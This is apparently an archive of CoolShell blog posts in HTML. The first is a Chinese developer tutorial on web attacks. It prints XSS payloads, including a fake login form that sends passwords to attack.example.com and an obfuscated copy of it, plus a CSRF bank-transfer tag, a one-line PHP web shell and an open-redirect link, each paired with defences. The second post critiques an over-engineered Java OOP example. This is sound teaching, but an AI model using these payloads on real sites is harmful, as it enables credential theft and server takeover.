scripting，通常简称为XSS或跨站脚本或跨站脚本攻击）是一种网站应用程序的安全漏洞攻击，是代码注入的一种。它通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java， VBScript， ActiveX， Flash 或者甚至是普通的HTML。攻击成功后，攻击者可能得到包括但不限于更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。</p>\n<p>假如我们有这样一段PHP的代码：</p>\n<pre class=\"EnlighterJSRAW\">$username = $_GET['username'];\necho '&lt;div&gt; Welcome, ' . $username . '&lt;/div&gt;';</pre>\n<p>那么我们可以这样来注入：</p>\n<div style=\"color: #1b00aa; background-color: #efefef; font-size: 90%; padding: 10px;\">http://trustedSite.example.com/welcome.php?username=&lt;Script Language=”Javascript”&gt;alert(“You’ve been attacked!”);&lt;/Script&gt;</div>\n<p>甚至这样：</p>\n<div style=\"color: #1b00aa; background-color: #efefef; font-size: 90%; padding: 10px;\">http://trustedSite.example.com/welcome.php?username=&lt;div id=”stealPassword”&gt;Please Login:&lt;form name=”input” action=”http://attack.example.com/stealPassword.php” method=”post”&gt;Username: &lt;input type=”text” name=”username” /&gt;&lt;br/&gt;Password: &lt;input type=”password” name=”password” /&gt;&lt;input type=”submit” value=”Login” /&gt;&lt;/form&gt;&lt;/div&gt;</div>\n<p>这会让网页显示以下内容：</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;div class=\"header\"&gt; Welcome,\n    &lt;div id=\"stealPassword\"&gt;Please Login:\n        &lt;form name=\"input\" action=\"attack.example.com/stealPassword.php\" method=\"post\"&gt;\n            Username: &lt;input type=\"text\" name=\"username\" /&gt;\n            &lt;br/&gt;\n            Password: &lt;input type=\"password\" name=\"password\" /&gt;\n            &lt;input type=\"submit\" value=\"Login\" /&gt;\n        &lt;/form&gt;\n    &lt;/div&gt;\n&lt;/div&gt;\n</pre>\n<p>注入的代码还有可能变种为如下这种更为隐蔽的方式(unicode码)：</p>\n<div style=\"color: #1b00aa; background-color: #efefef; font-size: 90%; padding: 10px;\">\n<div>trustedSite.example.com/welcome.php?username=&lt;script+type=”text/javascript”&gt;</div>\n<div>document.write(‘\\u003C\\u0064\\u0069\\u0076\\u0020\\u0069\\u0064\\u003D\\u0022\\u0073</div>\n<div>\\u0074\\u0065\\u0061\\u006C\\u0050\\u0061\\u0073\\u0073\\u0077\\u006F\\u0072\\u0064</div>\n<div>\\u0022\\u003E\\u0050\\u006C\\u0065\\u0061\\u0073\\u0065\\u0020\\u004C\\u006F\\u0067</div>\n<div>\\u0069\\u006E\\u003A\\u003C\\u0066\\u006F\\u0072\\u006D\\u0020\\u006E\\u0061\\u006D</div>\n<div>\\u0065\\u003D\\u0022\\u0069\\u006E\\u0070\\u0075\\u0074\\u0022\\u0020\\u0061\\u0063</div>\n<div>\\u0074\\u0069\\u006F\\u006E\\u003D\\u0022\\u0068\\u0074\\u0074\\u0070\\u003A\\u002F</div>\n<div>\\u002F\\u0061\\u0074\\u0074\\u0061\\u0063\\u006B\\u002E\\u0065\\u0078\\u0061\\u006D</div>\n<div>\\u0070\\u006C\\u0065\\u002E\\u0063\\u006F\\u006D\\u002F\\u0073\\u0074\\u0065\\u0061</div>\n<div>\\u006C\\u0050\\u0061\\u0073\\u0073\\u0077\\u006F\\u0072\\u0064\\u002E\\u0070\\u0068</div>\n<div>\\u0070\\u0022\\u0020\\u006D\\u0065\\u0074\\u0068\\u006F\\u0064\\u003D\\u0022\\u0070</div>\n<div>\\u006F\\u0073\\u0074\\u0022\\u003E\\u0055\\u0073\\u0065\\u0072\\u006E\\u0061\\u006D</div>\n<div>\\u0065\\u003A\\u0020\\u003C\\u0069\\u006E\\u0070\\u0075\\u0074\\u0020\\u0074\\u0079</div>\n<div>\\u0070\\u0065\\u003D\\u0022\\u0074\\u0065\\u0078\\u0074\\u0022\\u0020\\u006E\\u0061</div>\n<div>\\u006D\\u0065\\u003D\\u0022\\u0075\\u0073\\u0065\\u0072\\u006E\\u0061\\u006D\\u0065</div>\n<div>\\u0022\\u0020\\u002F\\u003E\\u003C\\u0062\\u0072\\u002F\\u003E\\u0050\\u0061\\u0073</div>\n<div>\\u0073\\u0077\\u006F\\u0072\\u0064\\u003A\\u0020\\u003C\\u0069\\u006E\\u0070\\u0075</div>\n<div>\\u0074\\u0020\\u0074\\u0079\\u0070\\u0065\\u003D\\u0022\\u0070\\u0061\\u0073\\u0073</div>\n<div>\\u0077\\u006F\\u0072\\u0064\\u0022\\u0020\\u006E\\u0061\\u006D\\u0065\\u003D\\u0022</div>\n<div>\\u0070\\u0061\\u0073\\u0073\\u0077\\u006F\\u0072\\u0064\\u0022\\u0020\\u002F\\u003E</div>\n<div>\\u003C\\u0069\\u006E\\u0070\\u0075\\u0074\\u0020\\u0074\\u0079\\u0070\\u0065\\u003D</div>\n<div>\\u0022\\u0073\\u0075\\u0062\\u006D\\u0069\\u0074\\u0022\\u0020\\u0076\\u0061\\u006C</div>\n<div>\\u0075\\u0065\\u003D\\u0022\\u004C\\u006F\\u0067\\u0069\\u006E\\u0022\\u0020\\u002F</div>\n<div>\\u003E\\u003C\\u002F\\u0066\\u006F\\u0072\\u006D\\u003E\\u003C\\u002F\\u0064\\u0069\\u0076\\u003E\\u000D’);&lt;/script&gt;</div>\n</div>\n<p><strong>XSS的攻击主要是通过一段JS程序得用用户已登录的cookie去模拟用户的操作（甚至偷用户的cookie）</strong>。这个方式可以让用户在自己不知情的情况下操作了自己不期望的操作。如果是网站的管理员中招，还有可能导致后台管理权限被盗。关于其中的一些细节可以参看《<a href=\"https://coolshell.cn/articles/4914.html\" target=\"_blank\" title=\"新浪微博的XSS攻击\">新浪微博的XSS攻击</a>》一文。XSS攻击是程序员有一糊涂就很容易犯的错误，你还可以看看网上的《<a href=\"http://www.cnblogs.com/kingthy/archive/2011/08/20/2147355.html\" target=\"_blank\">腾讯微博的XSS攻击</a>》。</p>\n<p>XSS攻击在论坛的用户签档里面（使用img标签）也发生过很多次，包括像一些使用bcode的网站，很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。</p>\n<p>不要以为XSS攻击是我们的程序没有写好，有时候，我们会引用别人站点上的js文件，比如：放一个天气预报的小Widget的js，或是一个流量监控，或是一段广告的js文件。你不知道这些东西是不是有问题，如果有恶意的话，这就是你自己主动注入攻击代码了。</p>\n<p><strong>另外，XSS攻击有一部分是和浏览器有关的。</strong>比如，如下的一些例子，你可能从来都没有想过吧？（<strong>更多的例子可以参看酷壳很早以前的这篇文章《<a href=\"https://coolshell.cn/articles/2416.html\" target=\"_blank\">浏览器HTML安全列表</a>》</strong>）</p>\n<pre class=\"EnlighterJSRAW\">&lt;table background=”javascript:alert(1)”&gt;\n\n&lt;meta charset=”mac-farsi”&gt;¼script¾alert(1)¼/script¾\n\n&lt;img src=”javascript:alert(1)”&gt;</pre>\n<p>XSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接，通过使用用户在B站点上的登录且还没有过期的cookie，从而使得用户的B站点被攻击。（这得益于现在的多Tab页的浏览器，大家都会同时打开并登录很多的网站，而这些不同网站的页面间的cookie又是共享的）</p>\n<p>于是，如果我在A站点内的某个贴子内注入这么一段代码：</p>\n<p><code class=\"EnlighterJSRAW\">&lt;img src=\"http://bank.example.com/transfer?account=XXX&amp;amount=1000000&amp;for=haoel\"&gt;</code></p>\n<p>很有可能你就在访问A站的这个贴子时，你的网银可能向我转了一些钱。</p>\n<p><strong>如何避免</strong></p>\n<p>要防止XSS攻击，一般来说有下面几种手段：</p>\n<ul>\n<li>严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。</li>\n</ul>\n<ul>\n<li>严格过滤用户的输入。如：\n<ul>\n<li>PHP的<code>htmlentities()或是htmlspecialchars()或是strip_tags()</code>。</li>\n<li>Python的<code>cgi.escape()</code></li>\n<li>ASP的<code>Server.HTMLEncode()</code>。</li>\n<li>Node.js的node-validator。</li>\n<li>Java的<a href=\"http://code.google.com/p/xssprotect/\" rel=\"nofollow\">xssprotect</a>。</li>\n</ul>\n</li>\n</ul>\n<ul>\n<li>在一些关键功能，完全不能信任cookie，必需要用户输入口令。如：修改口令，支付，修改电子邮件，查看用户的敏感信息等等。</li>\n</ul>\n<ul>\n<li>限制cookie的过期时间。</li>\n</ul>\n<ul>\n<li>对于CSRF攻击，一是需要检查http的reference header。二是不要使用GET方法来改变数据，三是对于要提交的表单，后台动态生成一个随机的token，这个token是攻击者很难伪造的。（对于token的生成，建议找一些成熟的lib库）</li>\n</ul>\n<p>另外，你可能觉得网站在处理用户的表单提交就行了，其实不是，<strong>想一想那些Web Mail，我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱，你打开一看，你就中招了</strong>。所以，WebMail一般都禁止显示图片和附件，这些都很危险，只有你完全了解来源的情况下才能打开。<strong>电子邮件的SMTP协议太差了，基本上无法校验其它邮件服务器的可信度，我甚至可以自己建一个本机的邮件服务器，想用谁的邮件地址发信就用谁的邮件地址发信</strong>。<span style=\"color: #cc0000;\"><strong>所以，我再次真诚地告诉大家，请用gmail邮箱</strong></span>。别再跟我说什么QQMail之类的好用了。</p>\n<h4>上传文件</h4>\n<p>上传文件是一个很危险的功能，尤其是你如果不校验上传文件的类型的话，你可能会中很多很多的招，这种攻击相当狠。<strong>试想，如果用户上传给你一个PHP、ASP、JSP的文件，当有人访问这个文件时，你的服务器会解释执行之，这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。</strong></p>\n<p>举个例子：</p>\n<pre class=\"EnlighterJSRAW\">&lt;form action=\"upload_picture.php\" method=\"post\" enctype=\"multipart/form-data\"&gt;\n要上传的文件:\n&lt;input type=\"file\" name=\"filename\"/&gt;\n&lt;br/&gt;\n&lt;input type=\"submit\" name=\"submit\" value=\"Submit\"/&gt;\n&lt;/form&gt;\n</pre>\n<p> </p>\n<pre class=\"EnlighterJSRAW\">$target = \"pictures/\" . basename($_FILES['uploadedfile']['name']);\nif(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)){\n    echo \"图片文件上传成功\";\n}else{&lt;/div&gt;\n    echo \"图片文件上传失败\";\n}</pre>\n<p>假如我上传了一个PHP文件如下：</p>\n<pre class=\"EnlighterJSRAW\">&lt;?php\nsystem($_GET['cmd']);\n?&gt;</pre>\n<p>那么，我就可以通过如下的URL访问攻击你的网站了：</p>\n<p><code class=\"EnlighterJSRAW\">http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l</code></p>\n<p>抵御这样的攻击有两种手段：</p>\n<p>1）限制上传文件的文件扩展名。</p>\n<p>2）千万不要使用root或Administrator来运行你的Web应用。</p>\n<h4>URL跳转</h4>\n<p>URL跳转很有可能会成为攻击利用的工具。</p>\n<p>比如下面的PHP代码：</p>\n<pre class=\"EnlighterJSRAW\">$redirect_url = $_GET['url'];\nheader(\"Location: \" . $redirect_url);</pre>\n<p>这样的代码可能很常见，比如当用户在访问你的网站某个页观的时候没有权限，于是你的网站跳转到登录页面，当然登录完成后又跳转回刚才他访问的那个页面。一般来说，我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。</p>\n<p>于是我们就可以通过下面的URL，跳转到一个恶意网站上，而那个网站上可能有一段CSRF的代码在等着你，或是一个钓鱼网站。</p>\n<p><code class=\"EnlighterJSRAW\">http://bank.example.com/redirect?url=http://attacker.example.net</code></p>\n<p>这种攻击具有的迷惑性在于，用户看到的http://bank.example.com，<strong>以为是一个合法网站，于是就点了这个链接，结果通过这个合法网站，把用户带到了一个恶意网站，而这个恶意网站上可能把页面做得跟这个合法网站一模一样，你还以为访问的是正确的地方，结果就被钓鱼了</strong>。</p>\n<p>解决这个问题很简单，你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。</p>\n<p>你可以看看Google和Baidu搜索引擎的链接跳转，百度的跳转链接是被加密过的，而Google的网站链接很长，里面有网站的明文，但是会有几个加密过的参数，如果你把那些参数移除掉，Google会显示一个重定向的提醒页面。（我个人觉得还是Google做得好）</p>\n<p>（本篇文章结束）</p>\n<p>这段时间工作和家里的事比较多，所以时间有限，更新不快，而此篇行文比较仓促，欢迎大家补充，并指出我文中的问题。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11021.html\"><img alt=\"从“黑掉Github”学Web安全开发\" height=\"150\" src=\"../wp-content/uploads/2014/02/Github-Security-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11021.html\">从“黑掉Github”学Web安全开发</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6043.html\"><img alt=\"Web开发中需要了解的东西\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6043.html\">Web开发中需要了解的东西</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5987.html\"><img alt=\"如何设计“找回用户帐号”功能\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5987.html\">如何设计“找回用户帐号”功能</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5353.html\"><img alt=\"你会做Web上的用户登录功能吗？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5353.html\">你会做Web上的用户登录功能吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21708.html\"><img alt=\"网络数字身份认证术\" height=\"150\" src=\"../wp-content/uploads/2022/01/iStock-1175502114-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21708.html\">网络数字身份认证术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8711.html\">程序员疫苗：代码注入</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-12-13 如此理解面向对象编程.html",
    "content": "<html><body><p>从Rob Pike 的 Google+上的一个推看到了一篇叫《<a href=\"http://www.csis.pace.edu/~bergin/patterns/ppoop.html\" target=\"_blank\">Understanding Object Oriented Programming</a>》的文章，我先把这篇文章简述一下，然后再说说老牌黑客Rob Pike的评论。</p>\n<p>先看这篇教程是怎么来讲述OOP的。它先给了下面这个问题，这个问题需要输出一段关于操作系统的文字：假设Unix很不错，Windows很差。</p>\n<p>这个把下面这段代码描述成是<strong>Hacker Solution</strong>。（这帮人觉得下面这叫黑客？我估计这帮人真是没看过C语言的代码）</p>\n<pre class=\"EnlighterJSRAW\">public class PrintOS\n{\n\tpublic static void main(final String[] args)\n\t{\n\t\tString osName = System.getProperty(\"os.name\") ;\n\t\tif (osName.equals(\"SunOS\") || osName.equals(\"Linux\"))\n\t\t{\n\t\t\tSystem.out.println(\"This is a UNIX box and therefore good.\") ;\n\t\t}\n\t\telse if (osName.equals(\"Windows NT\") || osName.equals(\"Windows 95\"))\n\t\t{\n\t\t\tSystem.out.println(\"This is a Windows box and therefore bad.\") ;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tSystem.out.println(\"This is not a box.\") ;\n\t\t}\n\t}\n}</pre>\n<p>然后开始用面向对象的编程方式一步一步地进化这个代码。</p>\n<p>先是以过程化的思路来重构之。</p>\n<p><span id=\"more-8745\"></span></p>\n<h4>过程化的方案</h4>\n<pre class=\"EnlighterJSRAW\">public class PrintOS\n{\n\tprivate static String unixBox()\n\t{\n\t\treturn \"This is a UNIX box and therefore good.\" ;\n\t}\n\tprivate static String windowsBox()\n  \t{\n\t\treturn \"This is a Windows box and therefore bad.\" ;\n\t}\n\tprivate static String defaultBox()\n\t{\n\t\treturn \"This is not a box.\" ;\n\t}\n\tprivate static String getTheString(final String osName)\n\t{\n\t\tif (osName.equals(\"SunOS\") || osName.equals(\"Linux\"))\n\t\t{\n\t\t\treturn unixBox() ;\n\t\t}\n\t\telse if (osName.equals(\"Windows NT\") ||osName.equals(\"Windows 95\"))\n\t\t{\n\t\t\treturn windowsBox() ;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn defaultBox() ;\n\t\t}\n  \t}\n\tpublic static void main(final String[] args)\n\t{\n\t\tSystem.out.println(getTheString(System.getProperty(\"os.name\"))) ;\n\t}\n}</pre>\n<p>然后是一个幼稚的面向对象的思路。</p>\n<h4>幼稚的面向对象编程</h4>\n<pre class=\"EnlighterJSRAW\">\npublic class PrintOS\n{\n\tpublic static void main(final String[] args)\n  \t{\n\t\tSystem.out.println(OSDiscriminator.getBoxSpecifier().getStatement()) ;\n \t}\n}</pre>\n<p> </p>\n<pre class=\"EnlighterJSRAW\">\npublic class OSDiscriminator // Factory Pattern\n{\n\tprivate static BoxSpecifier theBoxSpecifier = null ;\n  \tpublic static BoxSpecifier getBoxSpecifier()\n\t{\n\t\tif (theBoxSpecifier == null)\n\t\t{\n\t\t\tString osName = System.getProperty(\"os.name\") ;\n \t\t\tif (osName.equals(\"SunOS\") || osName.equals(\"Linux\"))\n \t\t\t{\n\t\t\t\ttheBoxSpecifier = new UNIXBox() ;\n\t\t\t}\n\t\t\telse if (osName.equals(\"Windows NT\") || osName.equals(\"Windows 95\"))\n\t\t\t{\n\t\t\t\ttheBoxSpecifier = new WindowsBox() ;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\ttheBoxSpecifier = new DefaultBox () ;\n\t\t\t}\n\t\t}\n\t\treturn theBoxSpecifier ;\n\t}\n}</pre>\n<p> </p>\n<pre class=\"EnlighterJSRAW\">\npublic interface BoxSpecifier\n{\n\tString getStatement() ;\n}</pre>\n<p> </p>\n<pre class=\"EnlighterJSRAW\">\npublic class DefaultBox implements BoxSpecifier\n{\n\tpublic String getStatement()\n\t{\n\t\treturn \"This is not a box.\" ;\n  \t}\n}</pre>\n<p> </p>\n<pre class=\"EnlighterJSRAW\">\npublic class UNIXBox implements BoxSpecifier\n{\n\tpublic String getStatement()\n\t{\n\t\treturn \"This is a UNIX box and therefore good.\" ;\n  \t}\n}</pre>\n<p> </p>\n<pre class=\"EnlighterJSRAW\">\npublic class WindowsBox implements BoxSpecifier\n{\n  \tpublic String getStatement()\n\t{\n\t\treturn \"This is a Windows box and therefore bad.\" ;\n\t}\n}</pre>\n<p>他们觉得上面这段代码没有消除if语句，他们说这叫代码的“logic bottleneck”（逻辑瓶颈），因为如果你要增加一个操作系统的判断的话，你不但要加个类，还要改那段if-else的语句。</p>\n<p>所以，他们整出一个叫Sophisticated的面向对象的解决方案。</p>\n<h4>OO大师的方案</h4>\n<p>注意其中的Design Pattern</p>\n<pre class=\"EnlighterJSRAW\">\npublic class PrintOS\n{\n  \tpublic static void main(final String[] args)\n  \t{\n\t\tSystem.out.println(OSDiscriminator.getBoxSpecifier().getStatement()) ;\n  \t}\n}</pre>\n<pre class=\"EnlighterJSRAW\">\npublic class OSDiscriminator // Factory Pattern\n{\n  \tprivate static java.util.HashMap storage = new java.util.HashMap() ;\n\n \tpublic static BoxSpecifier getBoxSpecifier()\n\t{\n\t\tBoxSpecifier value = (BoxSpecifier)storage.get(System.getProperty(\"os.name\")) ;\n\t\tif (value == null)\n\t\t\treturn DefaultBox.value ;\n\t\treturn value ;\n \t}\n  \tpublic static void register(final String key, final BoxSpecifier value)\n  \t{\n\t\tstorage.put(key, value) ; // Should guard against null keys, actually.\n  \t}\n  \tstatic\n  \t{\n\t\tWindowsBox.register() ;\n  \t\tUNIXBox.register() ;\n  \t\tMacBox.register() ;\n  \t}\n}</pre>\n<pre class=\"EnlighterJSRAW\">\npublic interface BoxSpecifier\n{\n  \tString getStatement() ;\n}</pre>\n<pre class=\"EnlighterJSRAW\">\npublic class DefaultBox implements BoxSpecifier // Singleton Pattern\n{\n\tpublic static final DefaultBox value = new DefaultBox () ;\n\tprivate DefaultBox() { }\n\tpublic String getStatement()\n\t{\n\t\treturn \"This is not a box.\" ;\n\t}\n}</pre>\n<pre class=\"EnlighterJSRAW\">\npublic class UNIXBox implements BoxSpecifier // Singleton Pattern\n{\n \tpublic static final UNIXBox value = new UNIXBox() ;\n\tprivate UNIXBox() { }\n\tpublic  String getStatement()\n   \t{\n\t\treturn \"This is a UNIX box and therefore good.\" ;\n \t}\n  \tpublic static final void register()\n  \t{\n\t\tOSDiscriminator.register(\"SunOS\", value) ;\n  \t\tOSDiscriminator.register(\"Linux\", value) ;\n \t}\n}</pre>\n<pre class=\"EnlighterJSRAW\">\npublic class WindowsBox implements BoxSpecifier  // Singleton Pattern\n{\n\tpublic  static final WindowsBox value = new WindowsBox() ;\n\tprivate WindowsBox() { }\n\tpublic String getStatement()\n\t{\n\t\treturn \"This is a Windows box and therefore bad.\" ;\n  \t}\n  \tpublic static final void register()\n  \t{\n\t\tOSDiscriminator.register(\"Windows NT\", value) ;\n  \t\tOSDiscriminator.register(\"Windows 95\", value) ;\n\t}\n}</pre>\n<pre class=\"EnlighterJSRAW\">\npublic class MacBox implements BoxSpecifier // Singleton Pattern\n{\n \tpublic static final MacBox value = new MacBox() ;\n\tprivate MacBox() { }\n\tpublic  String getStatement()\n   \t{\n\t\treturn \"This is a Macintosh box and therefore far superior.\" ;\n \t}\n  \tpublic static final void register()\n  \t{\n\t\tOSDiscriminator.register(\"Mac OS\", value) ;\n \t}\n}</pre>\n<p>作者还非常的意地说，他加了一个“Mac OS”的东西。<strong>老实说，当我看到最后这段OO大师搞出来的代码，我快要吐了</strong>。我瞬间想到了两件事：一个是以前酷壳上的《<a href=\"https://coolshell.cn/articles/3036.html\" style=\"line-height: 13px;\" target=\"_blank\" title=\"面向对象是个骗局？！\">面向对象是个骗局</a>》和 《<a href=\"https://coolshell.cn/articles/2058.html\" style=\"line-height: 13px;\" target=\"_blank\" title=\"各种流行的编程风格\">各种流行的编程方式</a>》中说的“设计模式驱动编程”，另一个我想到了那些被敏捷洗过脑的程序员和咨询师，也是这种德行。</p>\n<p>于是我去看了一下第一作者<a href=\"http://csis.pace.edu/~bergin/\" target=\"_blank\">Joseph Bergin的主页</a>，这个Ph.D是果然刚刚完成了一本关于敏捷和模式的书。</p>\n<h4>Rob Pike的评论</h4>\n<p>（Rob Pike是当年在Bell lab里和Ken一起搞Unix的主儿，后来和Ken开发了UTF-8，现在还和Ken一起搞Go语言。注：不要以为Ken和Dennis是基友，其实他们才是真正的老基友！）</p>\n<p>Rob Pike在他的<a href=\"https://plus.google.com/101960720994009339267/posts/hoJdanihKwb\" target=\"_blank\">Google+的这贴</a>里评论到这篇文章——</p>\n<p>他并不确认这篇文章是不是搞笑？但是他觉得这些个写这篇文章是很认真的。他说他要评论这篇文章是因为他们是一名Hacker，至少这个词出现在这篇文章的术语中。</p>\n<p>他说，这个程序根本就不需要什么Object，只需要一张小小的配置表格，里面配置了对应的操作系统和你想输出的文本。这不就完了。这么简单的设计，非常容易地扩展，他们那个所谓的Hack Solution完全就是笨拙的代码。后面那些所谓的代码进化相当疯狂和愚蠢的，这个完全误导了对编程的认知。</p>\n<p>然后，他还说，<strong>他觉得这些OO的狂热份子非常害怕数据，他们喜欢用多层的类的关系来完成一个本来只需要检索三行数据表的工作</strong>。他说他曾经听说有人在他的工作种用各种OO的东西来替换While循环。（我听说中国Thoughtworks那帮搞敏捷的人的确喜欢用Object来替换所有的if-else语句，他们甚至还喜欢把函数的行数限制在10行以内）</p>\n<p>他还给了一个链接<a href=\"http://prog21.dadgum.com/156.html\">http://prog21.dadgum.com/156.html</a>，你可以读一读。最后他说，<strong>OOP的本质就是——对数据和与之关联的行为进行编程</strong>。便就算是这样也不完全对，因为：</p>\n<p style=\"text-align: center;\"><strong>Sometimes data is just data and functions are just functions.</strong></p>\n<h4>我的理解</h4>\n<p>我觉得，这篇文章的例子举得太差了，差得感觉就像是OO的高级黑。面向对象编程注重的是：<strong>1）数据和其行为的打包封装，2）程序的接口和实现的解耦</strong>。你那怕，举一个多个开关和多个电器的例子，不然就像STL中，一个排序算法对多个不同容器的例子，都比这个例子要好得多得多。老实说，Java SDK里太多这样的东西了。</p>\n<p>我以前给一些公司讲一些设计模式的培训课，我一再提到，<strong>那23个经典的设计模式和OO半毛钱关系没有</strong>，只不过人家用OO来实现罢了。<strong>设计模式就三个准则：1）中意于组合而不是继承，2）依赖于接口而不是实现，3）高内聚，低耦合。你看，这完全就是Unix的设计准则</strong>。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4535.html\"><img alt=\"一些软件设计的原则\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4535.html\">一些软件设计的原则</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3036.html\"><img alt=\"面向对象是个骗局？！\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3036.html\">面向对象是个骗局？！</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9949.html\"><img alt=\"IoC/DIP其实是一种管理思想\" height=\"150\" src=\"../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9949.html\">IoC/DIP其实是一种管理思想</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8990.html\"><img alt=\"Linus：利用二级指针删除单向链表\" height=\"150\" src=\"../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8990.html\">Linus：利用二级指针删除单向链表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8961.html\"><img alt=\"从面向对象的设计模式看软件设计\" height=\"150\" src=\"../wp-content/uploads/2013/01/kiss-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8961.html\">从面向对象的设计模式看软件设计</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8745.html\">如此理解面向对象编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-12-18 Web工程师的工具箱.html",
